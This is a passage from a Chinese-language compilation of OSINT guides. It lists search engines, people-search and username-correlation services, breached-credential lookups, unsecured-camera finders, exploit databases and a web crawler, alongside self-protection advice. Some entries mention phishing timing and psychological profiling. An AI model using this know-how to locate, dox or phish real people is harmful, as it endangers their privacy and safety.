是每分钟。而且仅仅是社交媒体。

然后还有电子邮件、在线支付、数百个热门应用程序、云存储、工作站点和服务等等，这使得开源调查可以在搜索和处理任何信息方面拥有无限的可能性。

但是，人们尚未完全考虑搜索引擎的吸引力 —— 全球每天50亿的最新数据！

⚠ 普通的网络搜索和 OSINT 技术之间的主要区别在于方法的深度、以及各种方法和算法的可用性。

这些方法和算法可以帮助我们实现任何任务：检测网络上用户的数字足迹、进行深度调查、追踪其数字关系链**……**

可以根据搜索任务和您拥有的初始数据使用它们。

1.确定您拥有的源信息（照片、姓名、电子邮件地址、电话号码等）； **2.**确定您想要了解的最终目标； **3.**借助某些服务收集网络信息； **4.**分析和反向查找收到的信息； **5.**使用新接收的数据返回搜索； **6.**确认假设、或获得新假设。

OSINT 技术与互联网上的简单搜索有何不同？

💡不同在于：普通的搜索将在 OSINT 功能刚刚开始的地方结束。

对于 OSINT 技术，没有统一的方法和模式化的调查算法，每个案例都是独特的，需要一个单独的方法。也就是说需要您的经验＋创造力。

这不是能够通过讲座传授的。

💡 您需要不断参考成功的演示案例、积极研究新工具的使用技巧、以及最重要的是，不断尝试挑战自己。

在这里看到工具箱《超级情报收集工具库：开源验证和调查工具及使

用方法》；在我们的 OSINT 栏目看到很多操作案例演示《OSINT》—— 不断更新中。

get到思考方式很重要，而不是工具，思考方式能帮助您知道什么时候使用什么工具是最好的。

本文只介绍搜索引擎。也就是贯穿 OSINT 的一条主线。

搜索引擎不一定是谷歌，虽然谷歌的确很强大，但需要根据您的调查目标，选取最适合的搜索引擎 —— 尤其是，⚠如果您的调查内容非常敏感，您肯定不会希望在调查结论实现变革目标之前被当局抓到。

也就是说，隐蔽性是您首先应该考虑的内容。

本手册将把隐私放在第一个。

面向隐私的搜索引擎

什么是“面向隐私”：意思是它们不会出卖你，不会记录你的动作，也没有什么可以提供给警察和间谍的。至少是这样承诺的。

- DuckDuckGo：在线调查人的常用，在Tor浏览器搜索。
- Startpage：从 Google 获取结果但是不跟踪其用户。
- Peekier：面向隐私的搜索引擎，使用自己的搜索算法获取结果。
- Qwant：总部设在法国的家伙。
- Oscobo：总部设在英国家伙。
- Swisscows：瑞士的隐私安全 WEB 搜索。
- Privatelee：私密搜索网络和图像。
- Gigablast：开源的搜索引擎。
- Gibiru：未经审查的匿名搜索引擎。

元搜索引擎

什么是元搜索引擎：元搜索引擎又称集合型搜索引擎，将多个单一搜索引擎集成在一起，提供统一的检索界面，将用户的检索提问同时提交给多个独立的搜索引擎，同时检索多个数据库；并根据多个独立搜索引擎的检索结果进行二次加工，如对检索结果去重复、排序等。

- Excite
- Search
- MetaGer

- Zapmeta
- etools: 汇总主要国际搜索引擎的结果，不收集不共享其用户的个人信息，保护用户隐私。此搜索引擎非常快，并显示每个搜索查询的摘要 —— 在右侧 —— 详细说明其结果的来源。
- All the interne: 查询主要搜索引擎，包括亚马逊和eBay等购物网站。
- izito: 汇总来自多个来源（Yahoo，Bing，Wikipedia，YouTube 和其他网点）的数据，以生成包括图像、视频、新闻和文章在内的最佳结果。
- Metacrawler: 来自 Google 和 Yahoo 的汇总结果。
- My all search: 通过 Bing、DuckDuckGo、AOL Search、Ask、Oscobo、Mojeek、ZapMeta、MetaCrawler 汇总结果。
- Carrot2: 开源；聚合结果来自 GoogleAPI、Bing API、eTools Meta Search、Lucene、SOLR 等。
- elocalfinder: 从 Google、Yahoo！、Ask 和 Bing 获取结果。
- Opentext: 元搜索引擎基于 Google、Yahoo！、Ask、Bing、Wikipedia 和 Open Directory。
- All-in-One
- Searx

FTP搜索引擎

什么是FTP搜索引擎：是指专门用于搜索网络上匿名 FTP 服务器上各类文件的搜索引擎。FTP 搜索引擎相对 WWW 搜索引擎来说，并不提供摘要，一般仅提供文件的名称、类型、大小、URL 等信息。

- Global file search
- Archie
- File watcher
- Mamont
- NAPALM FTP Indexer

文件搜索引擎

此工具使用可以轻松搜索各种非 HTML（标准网页）文件格式。某些文件通常用于不同目的，您需要事先知道您要找的是什么格式。

- Faganfinder
- ShareDir

图片搜索引擎

社交媒体网站共享的图片：

- Lakako
- Flickr
- Flicker map:
- My Pics map: 在 Google 地图上查看 Flickr 照片。
- idGettr: 查找 Flicker ID账号，也可搜群组。
- Flickr Hive Mind: 用于 Flickr 摄影数据库的数据挖掘工具。
- Instagram
- Websta: 高级搜索 Instagram 网站。
- Stalkture: Instagram 的在线Web查看器。
- Mininsta: 高级搜索 Instagram。
- Pinterest

在专门的网站和新闻媒体上出现的图像：

- Gettyimages: 包含来自新闻、娱乐、时尚、体育和档案的图像。
- Reuters pictures
- News press
- Associated Press images portal
- PA images
- European pressphoto agency
- Canadian Press images archive

反向图像搜索（除了谷歌之外还有）：

- Karmadecay
- TinEye
- REVERSE IMAGE SEARCH
- Imagebrief
- Cam finds App: 这是适用于 Android 和 Apple 设备的应用程序。它使用视觉搜索技术识别上传的图片，并提供相关图像和大量网络搜索的即时结果。
- Image Identification Project

物联网（**IoT**）设备搜索引擎

- Shodan: 它是该功能领域的鼻祖。至今都是非常好用的。
- ZoomEye
- 123cam

- Airport webcams
- Insecam
- Lookr
- Earthcam
- Openstreetcam
- Opentopia
- Pictimo
- Reolink—list of unsecured cameras
- The webcam network
- Thingful
- Thingiverse
- Webcam.nl (NL)
- Webcams.travel
- Worldcam
- censys

⚠搜索漏洞利用：

- sploitus
- Google Hacking Database (GHDB)
- exploit-db

新闻/报纸搜索引擎

- 1stHeadlines: 突发新闻
- Google News Archive
- Google Newspaper Archive
- News Now
- Newspaper Archives: 报纸档案 1607–2017年。
- All you can read
- Newspapers Search
- Findmypast: 美国和世界历史报纸档案（中国、丹麦、法国、德国、牙买加、和南非也可在该集合中搜索）。
- Daily Earth
- Search U.S. Newspaper Directory, 1690-Present
- Newspaper Map
- World News
- The paperboy
- Newsography: 国际关系和武装冲突全球新闻聚合器和历史数据库。
- Online Newspapers: 全球在线报纸目录。

- YouGotTheNews: 搜索数以千计的国家、企业和本地新闻来源。
- Library of Congress Newspapers directory & 100 Years Ago Today: 使用美国国会图书馆的这两个链接搜索美国报纸，1690年至今。

利基搜索引擎

- Secret Search Engine Labs: 向您展示主流搜索巨头经常忽略的的搜索结果。
- AllAreaCodes: 电话和区号搜索

查专利的搜索引擎

- Google Advanced Patent Search Engine
- European Patent Office
- Israel Patent Office Database
- Norwegian Industrial Property Office
- Swedish Patent and Registration Office
- Switzerland
- Taiwan Intellectual Property Office
- Japan Patent Office
- World Intellectual Property Organization (WIPO)
- Korean Intellectual Property Rights Information Service (KIPRIS)
- State Intellectual Property Office (SIPO) of the People's Republic of China
- Australia Patent Search
- Canadian Intellectual Property Office
- Danish Patent and Trademark Office
- Finnish Patent and Registration Office
- France Patent Search
- Germany Patent Office
- UK Patent Search Engine
- India Patent Office
- stopfakes: 美国商务部国际贸易管理局（ITA）负责管理STOPfakes.gov，以协助美国企业在全球市场上的所谓知识产权。
- FreePatentsOnline: 专利元数据搜索引擎。
- Patent Lens
- Directory of Intellectual Property Offices Worldwide

灰色文献搜索引擎

什么是灰色文献：是指介于正式发行的白色文献、和不公开出版并具有隐密性的黑色文献之间的文献，即 虽已出版但难以使用一般方式获得。

目前对灰色文献的定义多取自1997年举行的“第三次国际灰色文献会议”中所提出的：不经营利出版者控制的，而由各级政府、学术单位、工商业界所产制的各类印刷与电子形式的资料。

想搜索重要的东西使用以下搜索引擎：

- Academia
- Academic index
- Academic torrents
- American Doctoral Dissertations
- ArchiveGrid
- Google scholar
- Bielefeld academic search engine
- Archive portal Europe
- Social Science Research Network
- National library of Australia
- ScienceDirect
- PQDT Open
- The national archive of the United Kingdom
- Oxford academic
- Page Press
- CERN Document Server
- High wire
- Grey guide
- Beyond citation
- Crossref

透明度革命网站

- WikiLeaks
- Cryptome
- GlobaLeaks: 开源自由软件，旨在实现安全和匿名的揭露。
- BalkanLeaks: 这是 Wikileaks 最成功的复制品。我们介绍过它，详见《与中国何其相似，巴尔干解密喜忧参半》
- Al Jazeera’s Investigative Unit: 这是阿拉伯国家的透明度革

命。

—— 社交媒体情报 ——

《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》这里面有介绍。这种东西不仅警察和间谍能用，也是 OSINT 的重要工具。

以下推荐的都是工具，只要您能正确使用，它们很有效，⚠但也很危险。请不要恶意使用（当然，恶意者长期研究这些，他们对此非常熟悉）

⚠本手册介绍它们是为了隐私保护者，如果您不希望被 doxing 和 trolling，不希望因网上言论而入狱，请根据我们的《大清洗》指南中介绍的思路，搜索自己，并移除有可能会令您陷入危险的信息。

Facebook 的：

(由于 Facebook 图谱搜索功能关闭，故至少四个最好用的搜索引擎失效。在这里看到原因《Facebook 正在令真相挖掘事业陷入困境》)

- Lookup ID: 查找 Facebook个人 ID /群组 ID /页面 ID。
- FindMyFbid: 查找 Facebook 个人数字ID。
- Facebook Search Tool: 在Facebook上进行高级搜索。
- LikeAlyzer: 分析和监控 Facebook 页面。
- Face Live: Facebook 直播视频搜索。
- Wallflux: 提供 RSS feeds, Facebook 群组和页面中最近帖子的更新。
- Facebook People/Pages/Places name directory
- Information for Law Enforcement/Authorities when seeking information from Facebook
- Who posted what?: Facebook 关键字搜索生成器。它搜索 Facebook 帖子并可以将结果限制在特定日期。
- ExtractFace: 自动从 Facebook 个人资料中提取数据。

Twitter 的：

- Twitter search home
- Twitter advanced search page
- Twitter Deck
- All My Tweets: 查看任何 Twitter 帐户发布的所有公开推文。
- Trendsmap: 展示世界各地的 Twitter上最受欢迎的趋势、主题

标签和关键字。
- Foller: 分析 Twitter 帐户（个人资料公开信息、推文和粉丝数量、主题、标签、提及等等）。
- First Tweet: 查找任何搜索关键字或链接的第一条推文。
- Social bearing: 分析 Twitter 帐户。
- Twitter Email Test
- Twicsy
- Follower wonk
- Sleeping Time: 预测 Twitter 上任何人几点睡觉（这也有用？是的，比如钓鱼攻击，选取目标对象精力不足的时段下手胜算更大/ 或者研究目标人使用的时区结合其他线索以估计其地理位置）。
- Simple Twitter Profile Analyzer (Python script).
- Tag board: 在 Twitter、Facebook 上搜索主题标签。
- TINFOLEAK
- TET: 检查输入的电子邮件地址是否用于 Twitter 帐户。
- Spoonbill: 监控您在 Twitter 上关注的人员的个人资料变化。
- Export Tweet: 这是一个非常先进的 Twitter 分析服务，您可以下载生成的报告以供离线使用。要解锁完整功能，您需要付费。

LinkedIn 的：

- Recently Updated Profiles
- LinkedIn Contact Extractor
- LinkedIn Résumés
- LinkedIn People Finder (International)

Instagram 的：

- INK361
- iconosquare
- picodash: 一个强大的搜索引擎，可以探索 Instagram 和 Twitter 的照片、视频、用户和位置。
- ToFo

Reddit 的：

- metareddit: 搜索 subreddits.
- Mostly Harmless: 查找您当前正在查看的页面，看看它是否曾经提交过 reddit。

- redditarchive
- Reddit Enhancement Suite: Google Chrome加载项。
- reddit investigator: 调查 Reddit 用户。
- reddit metrics: 用于跟踪 reddits 用户统计信息、并发现 reddit 上发展最快的社区。
- atomiks: 分析 Reddit 用户。
- SnoopSnoo: 深入了解任何 reddit 用户的活动。
- Reddit Comment Search: 搜索特定 reddit 用户的评论。

社交媒体心理分析工具

我们做过这样的演示，《情感分析：如何在社交网络上抓取并分析大众对某些话题的情绪？》以及《对特朗普推文的情感分析: Python 🐍》

以下是一些自动化的工具（在分析群体和群体事件时比较有用）当然，如果您觉得自动化工具不够深刻，请使用上述两个演示中介绍的方法自定义工具。

- Tone Analyzer: 这是一项在线服务，提供免费的语言分析，以检测人类的情感 —— 如快乐、恐惧、悲伤、愤怒、自信、和试探性的口吻 —— 在文本中找到 —— 如推文、电子邮件和 Facebook 消息。
- Watson Tone Analyzer: 这是由 IBM 创建的基于云的服务器，它分析在线内容（例如 Facebook 帖子、评论和推文）中的情绪和口吻，以预测作者的情绪状态。此服务可以在不同的场景中使用。
- Facebook and Twitter Prediction: 预测一个人的心理状况 —— 该服务可以分析您的 Facebook 和 Twitter 帖子，以洞察您的个性 —— 心理弱点，可用来针对性营销⚠或钓鱼。您还可以在该网站中插入任何文本，以预测其作者的心理状况。
- Fake Sport: 该网站分析亚马逊、Yelp、TripAdvisor 和 Apple App 商店用户的评论，以检查这些评论的可信度。
- Review Meta: 调查亚马逊上的用户评论，以检查哪一个可能是假的或误导性的。
- TweetGenie: 这是一个荷兰的项目，通过推特用户名预测目标的年龄和性别。

找人

一般的人物搜索

- Truth finder: TruthFinder 拥有庞大的社交媒体资料库存，地址历史记录、联系信息、公共记录（国家和地区数据源）以及其他商业资源数据库，除了城市/州之外，您还可以使用目标的名字进行搜索，找到目标的居住地或以前生活过的地方。
- 411: 搜索美国境内的人，搜索参数包括全名、位置、反向电话查询、电子邮件和业务。
- Pipl
- Spokeo
- TruePeopleSearch
- US Search
- Peek You
- Zaba Search: 使用姓名或电话号码在美国寻找任何人。
- White Pages: 使用姓名、电话号码、公司或地址搜索美国境内的人。
- Been Verified: 使用姓名、电话号码、公司或地址搜索美国境内的人。
- Address Search: 和上面一样，仅限美国。
- Lullar: 使用目标的电子邮件地址或名字和姓氏或用户名，搜索社交媒体网站。
- Yasni
- My Life
- Snoop Station: 使用全名和位置搜索人。
- Advanced Background Check
- Family Tree Now
- Radaris
- Profile Engine
- Info Space
- Cubib: 免费搜索数百万在线数据记录。汇总数据来自人员搜索、营销数据、财产记录、车辆记录、法院记录、专利、商业登记、域名注册、和白宫访问记录等。
- Fast People Search
- Speedy hunt
- That’s Them
- Webmii
- How many of me
- Genealogy
- Sorted By Name: 搜家谱……

用户名检查

- Check user name: 检查160个社交网络上特定用户名的使用情况，如果他/她在多个平台上使用相同的用户名，很容易找到（⚠这就是为什么警告敏感账户一定要独立，使用完全不同的照片、简介、名字和注册邮箱）
- Namechk: 检查指定的用户名是否用于主要域名和社交媒体网站。
- Namecheckr: 检查多个网络上的域名和社交用户名的可用性。
- User Search: 扫描45个流行的社交媒体网站。

电邮搜寻

电邮验证服务。此服务检查一个电子邮件地址是否存在，并提供有关它的其他详细技术信息。

《如果做一个与自己身份完全无关的电邮地址》

- Email Dossier: 提供有关电子邮件的详细技术验证报告。
- Emailhippo
- Verifalia
- Hunter
- Email Checker: 验证电子邮件地址是否真实。
- Mail Tester
- Byte Plant Email Validator
- Email Format
- Email Permutator+
- Emails4Corporations.com
- Scam Dex
- Email Header Analysis 获取从电子邮件标头中提取的详细技术信息，其中包括发件人 IP 地址、发件人 ISP 以及地理信息。

电话号码搜索

在这里看到演示《如果只知道一个电话号码，你能挖出多少有效信息？》

- Z lookup: 国际反向电话查询，包括手机。
- Reverse Phone Lookup
- Inter800
- Twilio
- Spy Dialer
- Who calld

- Info Bel
- Fone Finder
- True Caller
- Free Carrier Lookup
- Phone Lookup

还有其他的我们大多介绍过。⚠再次重申这些工具很好用，但是也可能很邪恶；请将其用于正义的目的。尤其是，自我检查，以便发现有关您自己的危险性信息，提早移除它们。〇

原文

如果调查之初你只有一个电邮地址……可以怎么办？- 开源情报经验 - iYouPort

开源情报-每个人都可用的武器

一根细绳可能拉出一只大象 …… 请注意文章中提醒的防御方法！

「图」

「图」

在调查开始的时候往往是你拥有的东西最少的时候。想象一下，在您的调查中有一个电子邮件地址：您知道该如何处理吗？

有太多可用的开源情报工具，可能有些让人不知所措。这就需要经验了。例如，您使用哪些工具来验证电子邮件地址？以及如何检查电子邮件地址是否与社交媒体上的帐户相关联？—— 最好能找到，因为社交媒体是情报金矿，从哪里，追踪将最有可能直升式起飞。

本文将 *概述* 调查电子邮件地址的步骤，希望能为您提供一些帮助。

开源情报检查清单：电子邮件地址

以下是一些清单，每个清单都关注可能会提供给您的可用信息。例如，这可以是电子邮件地址、电话号码或数码照片。

清单将指出您可以使用当前信息采取的调查步骤。下面将教您如何执行清单的所有调查步骤。以下是一些示例 —— 从最简单的开始。

「图」

「图」

用搜索引擎

使用搜索引擎，您可以检查目标电子邮件地址是否存在于所谓的 “表层网络” 上。例如，当在Google上搜索某电子邮件时将向您显示包含该电子邮件地址的网站的结果。

☞不同的搜索引擎的结果将有所不同，请检查多个搜索引擎，并使您选择的搜索引擎与目标相匹配（目标是来自哪里的？在当地哪个搜索引擎最热门，那就选它）。

☞您还可以试试元搜索引擎和Carrot2之类的集群引擎。在下面看到工具包：

- 《"如果你擅长搜索，你能找到一切"》

搜索深网

当使用普通搜索引擎找不到该电子邮件地址时，并不一定意味着该电子邮件地址未在互联网上被使用。这是因为搜索引擎仅显示来自冰山一角的信息。您应该继续探索深网。

请注意，网站管理员可以通过操纵搜索引擎的索引编制过程以不对其网站进行索引。可以通过在其网站上指定 robots.txt 文件来执行此操作。

搜索引擎被禁止索引的所有信息都位于深网中。社交媒体通常被部分索引，但有时根本不被索引。

那么如何搜索深网？搜索深网的两种方法是调查数据库和调查部分被索引或根本没有被索引的社交媒体。

搜索社交媒体

如何执行此操作取决于您要查看的社交媒体平台是什么。

在 Facebook 上，您可以使用搜索栏检查是否提到了目标电子邮件地址；在 Twitter 上，您也可以直接填写目标电子邮件地址。

通过在搜索栏中输入目标电子邮件地址，您可以查找提到目标电子邮件地址的故事（在 Facebook上）和推文（在 Twitter 上）。

⚠所以您应该小心 —— 再一次，必须严格区分可公开和私人。比如，如果有读者想要联系IYP，在推特上询问我们的邮箱，我们只会

提供公开邮箱（您可以在网站上直接看到的邮箱），这是为避免被挖掘。

☞请始终花几分钟时间思考您的目标。目标的年龄、出生地和其他详细信息，可能与您的调查重点非常相关。

例如，Vkontakte，Nk.pl，Xing 或 Qzon e等社交媒体平台可能是您进行调查的地方；但请确保不要忘记如 Skype、YouTube 和 Spotify 这类平台。每个社交媒体平台都有其有效搜索信息的方式。

搜索数据库

当使用搜索引擎进行搜索不会产生任何结果时，您可能希望查看一下（商用）数据库，例如 Pipl、Yasni 和 ThatsThem。

☞这类数据库如何收集数据并不总是完全透明的，但是现有的数据可能很重要。请确保验证所有结果，因为信息可能已过时，甚至不正确。

⚠如果您是防御者，请通过这些方法搜索自己，一旦检查到有重要信息包含其中，请迅速更改您的使用习惯。

提示：使用 API 或付费许可时，某些数据库和服务可为您提供更好的结果。API的使用有时是免费的。

「图」

「图」

搜索被黑的电子邮件地址

常规搜索引擎有时也可以向您显示被黑的帐户详细信息，例如电子邮件地址和密码。但是，有更好的方法来搜索被黑的电子邮件地址。

☞可以使用的选择有 HaveIBeenPwned，Dehashed（付费）和 Pastebin。这些网站将向您显示目标电子邮件地址是否因哪个违规行为而受到破坏。

☞这使您可以洞悉目标可能使用的帐户和服务，使用的密码、以及是否有其他与该密码关联的电子邮件帐户。

⚠作为防御者，请定期使用上述方法搜索自己，一旦发现泄漏，迅速更改凭据和相关绑定。

电子邮件地址是否与社交媒体上的帐户相关联？

对于几乎每个研究人员、调查人员或分析师来说，电子邮件地址都是开源情报难题中非常有趣的部分。

☞使用电子邮件地址，可能会发现社交媒体上是否有与该电子邮件地址相关联的帐户。检查方法取决于您要调查的社交媒体平台。操作演示，见：

- 《如何只用电子邮件地址追踪到 Twitter 帐户？》

此外，使用以下自定义电子邮件搜索工具，您可以确定电子邮件地址是否与**LinkedIn**上的帐户相关联：www.linkedin.com/sales/gmail/profile/viewByEmail/info@aware-online.com

针对其他社交媒体平台的调查今后会不断发布演示。Android模拟器和移动应用程序起着关键作用。

⚠对于防御者，强调分身！非常重要！你需要将你的私密生活中的不同领域分隔开，以避免追踪者通过一个线索挖掘到你的全部，操作方法见：

- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》
- 《如何快速创建一个假人？简易版分身术—调查人员使用》

搜寻手机通讯录应用程序

有许多可用的通讯录应用程序，它们可以帮助您找到电子邮件地址的所有者。您可以在这里看到对比《如何快速知道未知来电的真实身份？》。

☞请注意：每当使用 Phone Contact Apps 时，您的联系人都可能会上传到应用程序的数据库中。因此，调查人员请始终使用“干净”的手机（或Android模拟器）。

⚠对于防御者，建议您的重要联系人不要录入手机通讯录APP，您应该自己记住他们的号码，尤其是在危机时候可以救你命的联系人。记

忆力是很重要的武器，在下面回顾我们对记忆力训练的内容 —— 尚未完成的系列：

- 《手表上故事：通过练习和游戏塑造超强记忆力的方法（1）》
- 《操控注意力的小技巧：塑造超强记忆的方法（2）》
- 《不是集中而是”分散”注意力才更有效：塑造超强记忆力的方法（3）》
- 《如何找回失去的记忆？—塑造超强记忆力的方法（4）》
- 《如何操纵他人遗忘和忽略对你来说最敏感的信息—塑造超强记忆力的方法（5）》
- 未完哦

电子邮件地址是否与网站相关联？

另一种选择是检查是否在网站的WHOIS数据中注册了电子邮件地址。

在注册域名和网站时，将注册有关域名所有者（注册人）和托管提供商（注册商）的详细信息。因此，您可以检查目标是否将电子邮件地址包含于任何详细的联系信息中。

☞可以帮助您进行此调查的网站是 DomainBigData 和 Whoxy.

「图」

「图」

如何验证电子邮件地址？

☞如何知道该电子邮件地址是否仍处于活动状态？万一它是过时的呢？有可用的不同工具可以帮助您解决此问题。例如，尝试使用 Mailtester 或 Hunter。

「图」

「图」

从电子邮件地址到用户名？

在某些情况下，您可以从电子邮件地址获取用户名。

☞想象您正在使用电子邮件地址“ AO_1987@gmail.com” 和朋友交

流，或者在这种情况下，用户名可能是“ AO_1987”，该用户名也可能用于其他电子邮件地址（比如“ AO_1987@hotmail.com”，“ AO_1987@outlook.com” 等）或社交媒体（Facebook、Instagram）上的帐户，等等。

追踪者可以对此一一测试，这并不难。

⚠再一次，防御者不应该将用户名和电子邮件地址相关联！这是需要不断强调的。

对于调查者，您将需要验证找到的电子邮件地址是否可追溯到您的目标电子邮件地址，避免其中有冒用者转移你的注意力。

像素追踪？

像素追踪电子邮件实际上是您发送到目标电子邮件地址以便检索信息（例如目标IP地址）的电子邮件。

⚠请始终检查是否允许您发送像素电子邮件（可能不允许！）因为这是一种钓鱼行为。

☞如果您是防御者，请参见这里：《如何阻止您的电子邮件被跟踪？》

电子邮件地址和暗网

除了表面网络和深网之外，暗网上也可能存在电子邮件地址。暗网是不会被表层网络爬网程序索引的，因此需要TOR浏览器之类的“特殊”软件来访问。

由于暗网几乎没有索引，因此搜索诸如电子邮件地址之类的信息可能非常困难。不过也有一些方法，比如下面：

- 包含《暗网爬虫》工具

⚠尤其是提醒这篇文章中展示的隐身失败教训 《这些使用暗网的人是如何被抓到的？》其中提到了致命的电子邮件地址，将暗网和明网的身份关联起来了。如果您是防御者，请格外小心这点。

好啦，就是这样！您学到了吗？○

广告

原文

对特朗普推文的情感分析: Python 🐍 - iYouPort

开源情报-每个人都可用的武器

> 的确可以从一个人的推文中获得大量数据。本文仅基于昨天发布的文章话题做一个延伸演示，以特朗普为例提取推文数据以分析情感状态。尤其是希望介绍一些工具，期待你的创意挖掘

「图」

— — 描述 — —

在本文中我们将：#使用 tweepy 提取 twitter 数据，并学习如何使用 pandas 处理数据；

- 用 numpy，matplotlib 和 seaborn 做一些基本的统计和可视化；
- 使用 textblob 对提取的（特朗普）推文进行情绪分析。

1. NumPy：这是使用 Python 进行科学计算的基础包。除了明显的科学用途外，NumPy 还可以用作通用数据的高效多维容器。

- Pandas: 这是一个开源库，提供高性能，易于使用的数据结构和数据分析工具。
- Matplotlib：这是一个 Python 2D 绘图库，可以生成各种硬拷贝格式和跨平台交互式环境的出版物质量数据。
- Seaborn：这是一个基于 matplotlib 的 Python 可视化库。它提供了一个高级界面，用于绘制有吸引力的统计图形。
- Textblob：这是一个用于处理文本数据的 Python 库。它为潜入常见的自然语言处理（NLP）任务提供了一个简单的 API。

1. 消费方密钥 Consumer Key (API Key)

- 消费方机密 Consumer Secret (API Secret)

- 访问令牌密钥 Access Token
- 访问令牌机密 Access Token Secret

1. Official documentation — Tweepy

- Official documentation — NumPy
- Official tutorial — NumPy
- Official tutorial — Pandas
- Official documentation — Pandas
- Official documentation — Matplotlib
- Official tutorial — Pyplot
- Official website — Seaborn
- Official documentation — TextBlob
- Tutorial: Building a Text Classification System — TextBlob

正如您所看到的，可以使用 Python 以非常简单的方式提取、操作、可视化和分析数据。希望读者能使用这些工具实现创新性的探索。■

欢迎关注我们的新博客："//https://iyouport.weebly.com///"

正在逐步迁移并改版！

原文

小信息大故事：利用这些工具搜集散落在互联网上的零碎信息 - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

随身工具包，钥匙链级

「图」

「图」

想要进行有效的线上调查，很重要的一点就是，将您在不同地方搜集到的信息拼凑在一起，形成一张相对完整的全景图。

那么，如何才能找到散落在不同地方的零碎信息呢？

这篇文章将为您介绍多款工具，涉及搜索电邮地址、用户名、或其他信息，以及保护您自己的个人信息的提示。

「图」

「图」

查找电子邮件地址

找到某个人或某个机构的电邮地址是调查的重点之一。在很多情况下，直接询问对方可能并不是很方便 —— 不光低效，还可能暴露你，让被调查的对象对你的行动有所察觉。

但您可以借助 Hunter.io，它可以悄无声息地帮你找到被调查对象的电邮地址。

Hunter.io 使用起来很简单，只需要在搜索框输入你要检索的域名，它就可以找到在互联网公开信息中与此域名关联的邮箱。

比如，搜索 “microsoft.com”，就会出现近两万个相关联的邮箱地

址，以及显示这些邮箱地址的网页链接。

除了查找电邮地址外，Hunter.io 还可以批量验证邮箱地址是否可用，同时它还有一个 Chrome 扩展，在你访问网页的时候方便查询到与此网页关联的电邮地址。

如果您的查询请求少于50次/月，那么不用付费就可以使用 Hunter.io。

「图」

「图」

查找用户名

另一个在线调查的小技巧就是找到信息之间的联系。

比如说，您可能知道一个用户在某个网站上的用户名，然后通过搜索用户名，就可以找到这个用户注册的其他互联网服务。

即使您不知道准确的用户名，也可以通过尝试不同组合的搜索关键词来确定用户名。

「图」

「图」

上图中的内容在这里看到：https://t.me/iyouport/6861。

除上面图中提到的那些之外，User Sherlock 也是最容易使用的用户名搜索工具之一，它可以在超过20个流行的网络服务中检索您输入的用户名。

想做到更进一步的搜索，还可以使用 InterTechnique 推出的一款类似服务，它不仅可以搜索 User Sherlock 中涵盖的网站，还能在另外二十个类似的网站中查找用户名。

同时检索多个数据参数

许多常用的调查工具只具备单一功能，它们只能用于查找电话号码、邮箱地址或者用户名等。但最近越来越多的新工具可以同时检索多个数据参数，帮助您大大减少前期搜索的时间和精力。

这类工具中最受欢迎的是 IntelTechniques，但最新款还必须提到 Spiderfoot，许多开源数据专家都对它称赞不已。关于 **Spiderfoot**，见以下我们曾经做过的介绍和演示：

- 《如何自动执行情报搜集？蜘蛛脚入门指南》
- 《揭露加密货币投资骗局：蜘蛛脚演示自动化开源情报调查》

Spiderfoot 是一个用 Python 编写的开源情报工具，可用于同时查询一百多个数据源。这个工具是模块化的，用户可以根据需要打开或关闭数据源。

它还能将搜索结果以可视化的方式呈现，便于分析。

但 Spiderfoot 对使用者的技术要求也稍高，同时需要下载安装后才能使用。具体方法见上面关联的文章。

Spiderfoot 在入门阶段也许有点吃力，但是上手后你会发现，一切前期时间投入都是值得的。

不要错过我们的专题：

- 《不再吃瓜：把你的"围观"变成利器—公民调查指南（1）》
- 《推荐一些好用的音频转录工具：公民调查指南（2）》
- 《从故事开始：调查不是普通的报道—公民调查指南（3）》
- 《你的对话容易出现哪些错误？—应该说的和不应该说的话：公民调查指南（4）》
- 《套话的战术：利用情感，但不要被情感所利用—公民调查指南（5）》
- 《FBI同款调查技巧—公民调查指南（6）》
- 《您的工作应成为社会变革的动力：公民调查指南（7）》
- 以及 《想成为专业情报调查人员吗？或者想要避免被追踪监视吗？这里是一堆视频能对您有所帮助》
- 《调查记者如何从社交媒体上挖掘情报？》
- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 《当你手握真相：最基本的防护知识 (1)》

保护个人信息

任何人的信息在网上都很容易找到 —— 当然也包括您自己。您在网上留下的所有痕迹，都能被别人轻而易举地检索到。

这就是开源情报实践给普通人最好的礼物：对抗性思考方式。当您亲手搜索信息时就能切实体验到自己使用互联网的过程中应该注意什么。

更多安全措施详见 "列表- 1 “自我保护”"。〇

The Toolbox: Digging for People, Trawling the Web and Keeping Yourself Safe 广告

原文

尽可能多地了解你的侦查目标，并不让对方发觉的方法 - iYouPort

开源情报-每个人都可用的武器

这不是第一次介绍此工具。它服务于任何与调查和深度了解有关的需求，尤其是渗透测试。本文是一个简单的演示

「图」

「图」

对调查人员来说，在线收集有关目标的详细信息有可能是一项耗时的活动，尤其是在您只需要有关目标的特定信息的情况下。

其实您可以使用为开源情报设计的被称为 Photon 的网络爬虫来进行繁重的工作。

所有这些都用于尽可能多地了解目标，同时不会让目标发觉自己正在被监视。这就排除了一些更明显的扫描和枚举方法，需要一些创造力来寻找线索。

上一次简要介绍 Photon 是在这里《人人可用并不复杂的高级情报工具：让情报更丰富的方法》。

知道要搜索什么

Photon 的开源情报扫描提供了灵活、易于使用的命令行界面，不仅可以寻找漏洞，还能快速解析其中的内容，以一种易于理解的方式将其显示给黑客。

Photon 最有用的功能之一是能够自动识别和提取某些类型的数据，例如页面脚本、电子邮件地址、以及重要的密码、或API密钥（可能会意外泄露）。

除了查看当前网页之外，Photon 还允许您回溯。您可以使用

Wayback Machine 上记录的网页的先前状态作为搜索的“种子”，从现已停用的网站上刮取所有URL，作为进一步探索的来源。

- 不要错过《手慢无：如何抢在信息被遮挡、污染或完全消失之前捕获它们？》

有效地使用 Photon 虽然需要耐心和一些理解，但并不需要花很多时间就可以了解有关目标的线索。

你需要什么

Photon 是跨平台的流行工具，这意味着它可以在安装了 Python 的任何系统上运行。建议在 **python3** 上运行它（2有可能崩溃）。

要检查您的系统是否安装了 Python，您可以打开一个终端窗口并输入 python3。

如果尚未安装，则可以使用 **apt-install python3** 进行安装。如果您的输出如下所示，就可以开始了。

```
python3
```

```
Python 3.6.8 (default, Jan 3 2019, 03:42:36) [GCC
8.2.0] on linux Type "help", "copyright",
"credits" or "license" for more information. 」」」
```

键入 **quit()** 退出 Python shell，将开始安装运行 Photon 所需的内容。

第1步：下载并安装 Photon

